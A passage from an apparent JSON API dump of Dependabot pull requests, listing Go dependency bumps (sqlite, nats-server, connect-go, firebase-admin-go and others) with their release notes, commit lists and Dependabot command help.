fails to start.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/111\"\u003e#111\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/111\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/111\u003c/a\u003e), thanks Josh Bleecher Snyder!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/e220cc9b51f0ce842490194538f3c45daf2572b3\"\u003e\u003ccode\u003ee220cc9\u003c/code\u003e\u003c/a\u003e CHANGELOG.md: add !113\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/a58d5e552a64d5082bdf1488db35f27ce7536c1d\"\u003e\u003ccode\u003ea58d5e5\u003c/code\u003e\u003c/a\u003e Merge branch 'columns' into 'master'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/119d8b1c8514ceadf0a5a4aa8a9c94514b739377\"\u003e\u003ccode\u003e119d8b1\u003c/code\u003e\u003c/a\u003e add ColumnInfo, for inspecting query columns\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/c353a4f762ca821c6ebc6a17097e19e9dcec5306\"\u003e\u003ccode\u003ec353a4f\u003c/code\u003e\u003c/a\u003e upgrade to sqlite-vec v0.1.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/fe575e48232629112cce2e8bea368358e35c1616\"\u003e\u003ccode\u003efe575e4\u003c/code\u003e\u003c/a\u003e doc.go: update SQLite version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/3ccb9cab30387f2192593c4acb635e58fd6bbd5e\"\u003e\u003ccode\u003e3ccb9ca\u003c/code\u003e\u003c/a\u003e upgrade to SQLite 3.53.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/df1697738de700bdbfe7a6ed822a8ddef14f1c98\"\u003e\u003ccode\u003edf16977\u003c/code\u003e\u003c/a\u003e CHANGELOG.md: add !112\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/172c3955c2894135d87e8a773248796afda13f77\"\u003e\u003ccode\u003e172c395\u003c/code\u003e\u003c/a\u003e Merge branch 'fix-openv2-handle-leak' into 'master'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/27197307bbdb9c5c2a6dc683803f9c6e956e35a6\"\u003e\u003ccode\u003e2719730\u003c/code\u003e\u003c/a\u003e fix openV2 handle leak, TLS leak, and misleading error on failed open\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gitlab.com/cznic/sqlite/commit/53c87f6f1d6ec3da80e5d094b823eb6e98292857\"\u003e\u003ccode\u003e53c87f6\u003c/code\u003e\u003c/a\u003e CHANGELOG.md: add !111\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://gitlab.com/cznic/sqlite/compare/v1.48.1...v1.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/urgentry/urgentry/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/urgentry%2Furgentry/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"},{"uuid":"4340554609","node_id":"PR_kwDOMkHuXs7WM0SB","number":386,"state":"open","title":"chore: bump github.com/nats-io/nats-server/v2 from 2.12.7 to 2.12.8","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T04:19:01.000Z","updated_at":"2026-04-28T04:19:12.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.7","new_version":"2.12.8","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.7 to 2.12.8.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.8\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.43.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8030\"\u003e#8030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8068\"\u003e#8068\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRefactored and simplified setting the pinned headers in consumers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8032\"\u003e#8032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eScanning for the starting sequence for consumers is now an asynchronous operation which no longer pauses the metalayer (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8051\"\u003e#8051\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eReload logic on gateway \u003ccode\u003epinned_certs\u003c/code\u003e configuration has been corrected\u003c/li\u003e\n\u003cli\u003eRepeated \u003ccode\u003eCONNECT\u003c/code\u003e messages on a connection now clear subscriptions\u003c/li\u003e\n\u003cli\u003eJWT claims with validity times that cross midnight are now validated correctly\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/connz\u003c/code\u003e monitoring endpoint no longer discloses bearer JWTs\u003c/li\u003e\n\u003cli\u003eMonitoring redaction of route and cluster URL secrets when passed in as command line arguments\u003c/li\u003e\n\u003cli\u003eFixed a panic that could occur when negotiating compression on leafnode connections\u003c/li\u003e\n\u003cli\u003eMax control line enforcement for non-clients has been fixed\u003c/li\u003e\n\u003cli\u003eFixed a bug where setting message headers could mutate the input message buffers\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSolicited leafnode connections now send a connect advisory, which was previously missing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8015\"\u003e#8015\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMessage roll-ups are now applied on interest-based streams where there is no interest over the subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8019\"\u003e#8019\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can now catch up from incoming snapshots, correcting an edge case when scaling up (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a Raft commit index reset when terms mismatch (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8023\"\u003e#8023\u003c/a\u003e, contributed by \u003ca href=\"https://github.com/thecitymouse\"\u003e\u003ccode\u003e@​thecitymouse\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurging via scheduled \u003ccode\u003eNats-Schedule-Next: purge\u003c/code\u003e now errors when message scheduling is not enabled (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8035\"\u003e#8035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRecovering with a legacy zero index Raft snapshot will no longer panic (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8039\"\u003e#8039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMessages with a deduplication \u003ccode\u003eNats-Msg-Id\u003c/code\u003e header are no longer incorrectly deduplicated in mirrors (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8043\"\u003e#8043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a panic when scaling after a stream update when the assignment is not fully populated yet on recovery (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8049\"\u003e#8049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream info and consumer info requests will no longer return not found when the assignments are in-flight (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8054\"\u003e#8054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStreams and consumers now correctly reject path separators in asset names\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e9559e9ae3cd09ed29b157e6f19babb2cd1609e5\"\u003e\u003ccode\u003ee9559e9\u003c/code\u003e\u003c/a\u003e Release v2.12.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/972a686bb5942ddf28df407be7c7ae584f8d29d5\"\u003e\u003ccode\u003e972a686\u003c/code\u003e\u003c/a\u003e Release v2.12.8-RC.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f17e974e07b1552f032aeca478249cd2cc89dc94\"\u003e\u003ccode\u003ef17e974\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.12.8-RC.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/82b57ae5653112c2b6e6609730a01733e91fa7dd\"\u003e\u003ccode\u003e82b57ae\u003c/code\u003e\u003c/a\u003e [FIXED] c.setHeader mutates input message\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2530117b4a9ee3dec25b8ff5eb460d731985d6f8\"\u003e\u003ccode\u003e2530117\u003c/code\u003e\u003c/a\u003e [FIXED] Max control line for non-clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/dfd2abc927badd253b7a7ea98e8fda6f89d8425d\"\u003e\u003ccode\u003edfd2abc\u003c/code\u003e\u003c/a\u003e [FIXED] retryDisconnectedSyncConsumers properly checks for closed clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/61e8ea84c9086bfc592e3eacfaddfdb312f63d35\"\u003e\u003ccode\u003e61e8ea8\u003c/code\u003e\u003c/a\u003e [IMPROVED] Refactor processInboundSourceMsg for simplicity\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/03c87eadde49cbf07c63827244b2ed282f296967\"\u003e\u003ccode\u003e03c87ea\u003c/code\u003e\u003c/a\u003e [FIXED] Source rolls sequence back on error reset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/83e3d3714ce3240822a8f3bd6e51cbe83458cf65\"\u003e\u003ccode\u003e83e3d37\u003c/code\u003e\u003c/a\u003e [FIXED] Source does not duplicate messages after leaf reconnect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2a0c5c7660d610ff0f34cf2cec79c223fe64b173\"\u003e\u003ccode\u003e2a0c5c7\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.7...v2.12.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.7\u0026new-version=2.12.8)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/osapi-io/osapi/pull/386","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/osapi-io%2Fosapi/issues/386","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/386/packages"},{"uuid":"4333432826","node_id":"PR_kwDORbaf5c7V1zx9","number":195,"state":"closed","title":"chore(deps): bump the go-minor-patch group across 1 directory with 15 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-18T23:22:11.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-27T06:04:13.000Z","updated_at":"2026-05-18T23:22:13.000Z","time_to_close":1876678,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-minor-patch","update_count":15,"packages":[{"name":"connectrpc.com/connect","old_version":"1.19.1","new_version":"1.19.2","repository_url":"https://github.com/connectrpc/connect-go"},{"name":"firebase.google.com/go/v4","old_version":"4.18.0","new_version":"4.19.0","repository_url":"https://github.com/firebase/firebase-admin-go"},{"name":"github.com/alicebob/miniredis/v2","old_version":"2.36.1","new_version":"2.37.0","repository_url":"https://github.com/alicebob/miniredis"},{"name":"github.com/davidbyttow/govips/v2","old_version":"2.16.0","new_version":"2.18.0","repository_url":"https://github.com/davidbyttow/govips"},{"name":"github.com/jackc/pgx/v5","old_version":"5.7.2","new_version":"5.9.2","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/livekit/protocol","old_version":"1.44.1-0.20260120134243-0914cc74653e","new_version":"1.45.6","repository_url":"https://github.com/livekit/protocol"},{"name":"github.com/livekit/server-sdk-go/v2","old_version":"2.13.3","new_version":"2.16.3","repository_url":"https://github.com/livekit/server-sdk-go"},{"name":"github.com/minio/minio-go/v7","old_version":"7.0.98","new_version":"7.1.0","repository_url":"https://github.com/minio/minio-go"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.14.0","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/oklog/ulid/v2","old_version":"2.1.0","new_version":"2.1.1","repository_url":"https://github.com/oklog/ulid"},{"name":"github.com/redis/go-redis/v9","old_version":"9.17.2","new_version":"9.19.0","repository_url":"https://github.com/redis/go-redis"},{"name":"google.golang.org/api","old_version":"0.269.0","new_version":"0.277.0","repository_url":"https://github.com/googleapis/google-api-go-client"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-minor-patch group with 12 updates in the /server directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [connectrpc.com/connect](https://github.com/connectrpc/connect-go) | `1.19.1` | `1.19.2` |\n| [firebase.google.com/go/v4](https://github.com/firebase/firebase-admin-go) | `4.18.0` | `4.19.0` |\n| [github.com/alicebob/miniredis/v2](https://github.com/alicebob/miniredis) | `2.36.1` | `2.37.0` |\n| [github.com/davidbyttow/govips/v2](https://github.com/davidbyttow/govips) | `2.16.0` | `2.18.0` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.7.2` | `5.9.2` |\n| [github.com/livekit/protocol](https://github.com/livekit/protocol) | `1.44.1-0.20260120134243-0914cc74653e` | `1.45.6` |\n| [github.com/livekit/server-sdk-go/v2](https://github.com/livekit/server-sdk-go) | `2.13.3` | `2.16.3` |\n| [github.com/minio/minio-go/v7](https://github.com/minio/minio-go) | `7.0.98` | `7.1.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.14.0` |\n| [github.com/oklog/ulid/v2](https://github.com/oklog/ulid) | `2.1.0` | `2.1.1` |\n| [github.com/redis/go-redis/v9](https://github.com/redis/go-redis) | `9.17.2` | `9.19.0` |\n| [google.golang.org/api](https://github.com/googleapis/google-api-go-client) | `0.269.0` | `0.277.0` |\n\n\nUpdates `connectrpc.com/connect` from 1.19.1 to 1.19.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/connectrpc/connect-go/releases\"\u003econnectrpc.com/connect's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.19.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eGovernance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ca href=\"https://github.com/timostamm\"\u003e\u003ccode\u003e@​timostamm\u003c/code\u003e\u003c/a\u003e as a maintainer in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/905\"\u003econnectrpc/connect-go#905\u003c/a\u003e 🎉\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUse 'deadline_exceeded' instead of 'canceled' on HTTP/2 cancelation when appropriate by \u003ca href=\"https://github.com/jhump\"\u003e\u003ccode\u003e@​jhump\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/904\"\u003econnectrpc/connect-go#904\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix nil pointer deref in duplexHTTPCall under concurrent Send + CloseAndReceive by \u003ca href=\"https://github.com/simonferquel\"\u003e\u003ccode\u003e@​simonferquel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/919\"\u003econnectrpc/connect-go#919\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRefactor memhttptest to work with Go 1.25 synctest by \u003ca href=\"https://github.com/codefromthecrypt\"\u003e\u003ccode\u003e@​codefromthecrypt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/881\"\u003econnectrpc/connect-go#881\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDoc clarifications by \u003ca href=\"https://github.com/emcfarlane\"\u003e\u003ccode\u003e@​emcfarlane\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/911\"\u003e#911\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/912\"\u003e#912\u003c/a\u003e) and \u003ca href=\"https://github.com/stefanvanburen\"\u003e\u003ccode\u003e@​stefanvanburen\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/906\"\u003e#906\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/codefromthecrypt\"\u003e\u003ccode\u003e@​codefromthecrypt\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/881\"\u003econnectrpc/connect-go#881\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/simonferquel\"\u003e\u003ccode\u003e@​simonferquel\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/connectrpc/connect-go/pull/919\"\u003econnectrpc/connect-go#919\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e:\n\u003ca href=\"https://github.com/connectrpc/connect-go/compare/v1.19.1...v1.19.2\"\u003ehttps://github.com/connectrpc/connect-go/compare/v1.19.1...v1.19.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/1c195ae986164a681af958e675dd283eed23e365\"\u003e\u003ccode\u003e1c195ae\u003c/code\u003e\u003c/a\u003e Prepare for v1.19.2 (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/920\"\u003e#920\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/96abc6b87132d1c43f67f1f5c91efdcb6a59b4aa\"\u003e\u003ccode\u003e96abc6b\u003c/code\u003e\u003c/a\u003e Upgrade golangci-lint to v2 (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/917\"\u003e#917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/be72fa520cdc8b942db6839dadbe9af0b44b40df\"\u003e\u003ccode\u003ebe72fa5\u003c/code\u003e\u003c/a\u003e Clarify concurrent use semantics for streaming types (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/911\"\u003e#911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/299d2e7cdfb5e2fa3fa0963e6cedc51a7364521d\"\u003e\u003ccode\u003e299d2e7\u003c/code\u003e\u003c/a\u003e Fix nil pointer deref in duplexHTTPCall under concurrent Send + CloseAndRecei...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/e299aa60ffcf91633e48fcb3dd594cbbb187ec7f\"\u003e\u003ccode\u003ee299aa6\u003c/code\u003e\u003c/a\u003e Bump google.golang.org/grpc from 1.76.0 to 1.79.3 in /internal/conformance (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/7b531c03580c4ea12390a022184ca5bf5418f31b\"\u003e\u003ccode\u003e7b531c0\u003c/code\u003e\u003c/a\u003e Clarify UnaryFunc response type (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/912\"\u003e#912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/02f23a3116bcb97a69602941b54a7e16c5471b46\"\u003e\u003ccode\u003e02f23a3\u003c/code\u003e\u003c/a\u003e Fix typo in RELEASE.md (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/906\"\u003e#906\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/ec6f523e6b7081e9cf3e2836f4a16006b5c63b29\"\u003e\u003ccode\u003eec6f523\u003c/code\u003e\u003c/a\u003e Add Timo Stamm to maintainers (\u003ca href=\"https://redirect.github.com/connectrpc/connect-go/issues/905\"\u003e#905\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/59cc6973156cd9164d6bea493b1d106ed894f2df\"\u003e\u003ccode\u003e59cc697\u003c/code\u003e\u003c/a\u003e Use 'deadline_exceeded' instead of 'canceled' on HTTP/2 cancelation when appr...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/connectrpc/connect-go/commit/e9aff4ae399e443d15af065cfbee0a4ff38bed06\"\u003e\u003ccode\u003ee9aff4a\u003c/code\u003e\u003c/a\u003e Bump connectrpc.com/conformance from 1.0.4 to 1.0.5 in /internal/conformance ...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/connectrpc/connect-go/compare/v1.19.1...v1.19.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `firebase.google.com/go/v4` from 4.18.0 to 4.19.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/firebase/firebase-admin-go/releases\"\u003efirebase.google.com/go/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eFirebase Admin Go SDK v4.19.0\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat(auth): Add \u003ccode\u003eQueryUsers\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/727\"\u003e#727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efeat(firestore): Added Firestore Multi Database Support (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/733\"\u003e#733\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix(auth): Fixed auth error code parsing (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/712\"\u003e#712\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMiscellaneous\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[chore] Release 4.19.0 Take 2 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/746\"\u003e#746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: Update Release Workflows for Push triggers (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/745\"\u003e#745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;[chore] Release 4.19.0 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/742\"\u003e#742\u003c/a\u003e)\u0026quot; (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/744\"\u003e#744\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[chore] Release 4.19.0 (\u003ca href=\"https://redirect.github.com/firebase/firebase-admin-go/issues/742\"\u003e#742\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate the release actions process (\u003ca 